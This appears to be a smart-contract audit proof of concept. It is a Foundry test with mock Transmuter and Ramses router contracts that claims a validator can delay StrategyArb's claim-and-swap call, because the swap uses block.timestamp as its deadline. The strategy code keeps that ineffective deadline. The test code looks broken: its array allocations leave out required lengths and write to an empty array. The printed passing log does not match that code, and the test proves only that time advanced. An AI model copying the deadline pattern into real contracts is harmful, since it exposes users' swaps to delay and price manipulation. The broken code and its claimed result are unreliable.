In PoS chains, validators can hold transactions and execute them at advantageous timestamps since they know their block proposal slots in advance.
pragma solidity 0.8.18;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract BaseStrategy {
address public management;
constructor() { management = msg.sender; }
modifier onlyManagement() {
require(msg.sender == management, "!management");
_;
}
function setKeeper(address) external virtual onlyManagement {}
}
interface ITransmuter {
function syntheticToken() external returns (address);
function underlyingToken() external returns (address);
function claim(uint256, address) external;
function deposit(uint256, address) external;
function getUnexchangedBalance(address) external view returns (uint256);
}
interface IRamsesRouter {
struct route {
address from;
address to;
bool stable;
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
route[] calldata routes,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract MockTransmuter is ITransmuter {
function syntheticToken() external pure returns (address) { return address(0x3); }
function underlyingToken() external pure returns (address) { return address(0x5); }
function claim(uint256 amount, address) external {
console.log("Claiming amount:", amount);
}
function deposit(uint256 amount, address) external {
console.log("Depositing amount:", amount);
}
function getUnexchangedBalance(address) external pure returns (uint256) { return 0; }
}
contract MockRamsesRouter is IRamsesRouter {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
route[] calldata,
address,
uint deadline
) external returns (uint[] memory) {
console.log("Swap executed at timestamp:", block.timestamp);
console.log("With deadline:", deadline);
console.log("Amount in:", amountIn);
console.log("Min amount out:", amountOutMin);
uint[] memory amounts = new uint[]();
amounts[0] = amountOutMin;
return amounts;
}
}
contract StrategyArb is BaseStrategy {
address public keeper;
MockRamsesRouter public router;
MockTransmuter public transmuter;
constructor() {
router = new MockRamsesRouter();
transmuter = new MockTransmuter();
}
function setKeeper(address _keeper) external override { keeper = _keeper; }
function claimAndSwap(uint256 amount, uint256 minOut, IRamsesRouter.route[] calldata path) external {
console.log("\n=== Transaction Details ===");
console.log("Block timestamp at execution:", block.timestamp);
console.log("Using timestamp as deadline:", block.timestamp);
transmuter.claim(amount, address(this));
router.swapExactTokensForTokens(amount, minOut, path, address(this), block.timestamp);
transmuter.deposit(minOut, address(this));
}
}
contract TimestampManipulationTest is Test {
StrategyArb strategy;
address keeper = address(0x1);
function setUp() public {
strategy = new StrategyArb();
vm.prank(strategy.management());
strategy.setKeeper(keeper);
}
function testTimestampManipulation() public {
uint256 amountClaim = 1 ether;
uint256 minOut = 1.01 ether;
IRamsesRouter.route[] memory path = new IRamsesRouter.route[]();
console.log("\n=== Timestamp Manipulation PoC ===");
vm.warp(1000);
uint256 intendedTimestamp = block.timestamp;
console.log("Intended execution timestamp:", intendedTimestamp);
console.log("\nValidator delays transaction...");
vm.warp(block.timestamp + 1 hours);
console.log("Actual execution timestamp:", block.timestamp);
console.log("Time delayed by:", block.timestamp - intendedTimestamp, "seconds");
vm.prank(keeper);
strategy.claimAndSwap(amountClaim, minOut, path);
assertTrue(block.timestamp > intendedTimestamp + 30 minutes, "Transaction executed too early");
}
}
Ran 1 test for test/TimestampManipulation.t.sol:TimestampManipulationTest
[PASS] testTimestampManipulation() (gas: 38649)
Logs:
Intended execution timestamp: 1000
Validator delays transaction...
Actual execution timestamp: 4600
Time delayed by: 3600 seconds
Block timestamp at execution: 4600
Using timestamp as deadline: 4600
Claiming amount: 1000000000000000000
Swap executed at timestamp: 4600
With deadline: 4600
Amount in: 1000000000000000000
Min amount out: 1010000000000000000
Depositing amount: 1010000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 408.13µs (145.28µs CPU time)
Ran 1 test suite in 3.70ms (408.13µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)